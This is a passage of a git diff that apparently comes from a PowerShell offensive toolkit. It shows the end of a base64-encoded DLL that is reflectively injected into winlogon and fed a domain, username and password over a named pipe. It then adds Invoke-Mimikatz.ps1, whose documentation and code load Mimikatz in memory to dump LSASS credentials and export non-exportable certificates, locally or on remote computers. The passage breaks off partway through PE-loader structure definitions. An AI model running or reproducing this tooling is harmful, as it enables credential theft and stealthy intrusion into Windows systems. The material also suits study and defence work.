hSKFQoVihYKFooXCheKGAoYihkKHYofihGKI4oliikKKoorCiuKLAogijEKMYoyCjKKMwozijQKNIo1CjWKNoo3CjeKOAo4ijkKOYo6CjqKOwo8Cj0KMIpECkcKSopLCkuKQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + [Byte[]]$Logon32Bit = [Convert]::FromBase64String($Logon32Bit_Base64) + [Byte[]]$Logon64Bit = [Convert]::FromBase64String($Logon64Bit_Base64) + Invoke-ReflectivePEInjection -Bytes32 $Logon32Bit -Bytes64 $Logon64Bit -ProcId $WinLogonProcessId + + + #Send domain, username, and password over the named pipe + [Byte[]]$DomainBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($DomainName) + [Byte[]]$UsernameBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($UserName) + [Byte[]]$PasswordBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($Password) + + $Pipe.WaitForConnection() + + $Pipe.Write($DomainBytes, 0, $DomainBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent domain" + $Pipe.Write($UsernameBytes, 0, $UsernameBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent username" + $Pipe.Write($PasswordBytes, 0, $PasswordBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent password" + $Pipe.WriteByte($LogonTypeNum) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent logontype" + $Pipe.WriteByte($AuthPackageNum) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent auth package" + + $RetMessageSize = 1024 + [Byte[]]$ReturnMessageBytes = New-Object Byte[] $RetMessageSize + $ReadBytes = $Pipe.Read($ReturnMessageBytes, 0, $RetMessageSize) + + $ReturnMessage = [System.Text.ASCIIEncoding]::ASCII.GetString($ReturnMessageBytes, 0, $ReadBytes) + Write-Output "DLL OUTPUT: $($ReturnMessage)" + } + finally + { + $Pipe.Dispose() + } +} diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 new file mode 100644 index 0000000..6eff83c --- /dev/null +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -0,0 +1,2713 @@ +function Invoke-Mimikatz +{ +<# +.SYNOPSIS + +This script leverages Mimikatz 1.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as +dump credentials without ever writing the mimikatz binary to disk. +The script has a ComputerName parameter which allows it to be executed against multiple computers. + +This script should be able to dump credentials from any version of Windows through Windows 8 (but not 8.1) that has PowerShell v2 or higher installed. + +Function: Invoke-Mimikatz +Author: Joe Bialek, Twitter: @JosephBialek +Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi +License: http://creativecommons.org/licenses/by/3.0/fr/ +Required Dependencies: Mimikatz (included) +Optional Dependencies: None +Version: 1.1 +ReflectivePEInjection version: 1.1 +Mimikatz version: 1.0 + +.DESCRIPTION + +Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any +functionality provided with Mimikatz. + +.PARAMETER DumpCreds + +Switch: Use mimikatz to dump credentials out of LSASS. Not currently compatible with Windows 8.1. + +.PARAMETER DumpCerts + +Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable). + +.PARAMETER Command + +Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +.EXAMPLE + +Execute mimikatz on the local computer to dump certificates. +Invoke-Mimikatz -DumpCerts + +.EXAMPLE + +Execute mimikatz on two remote computers to dump credentials. +Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") + +.EXAMPLE + +Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits +Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" + +.NOTES +This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY +Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +Find mimikatz at: http://blog.gentilkiwi.com + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Benjamin DELPY blog: http://blog.gentilkiwi.com + +Github repo: https://github.com/clymb3r/PowerShell + +Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + +#> + +[CmdletBinding(DefaultParameterSetName="DumpCreds")] +Param( + [Parameter(Position = 0)] + [String[]] + $ComputerName, + + [Parameter(ParameterSetName = "DumpCreds", Position = 1)] + [Switch] + $DumpCreds, + + [Parameter(ParameterSetName = "DumpCerts", Position = 1)] + [Switch] + $DumpCerts, + + [Parameter(ParameterSetName = "CustomCommand", Position = 1)] + [String] + $Command +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 2, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 3, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 4, Mandatory = $false)] + [String] + $ProcName, + + [Parameter(Position = 5, Mandatory = $false)] + [String] + $ExeArgs + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 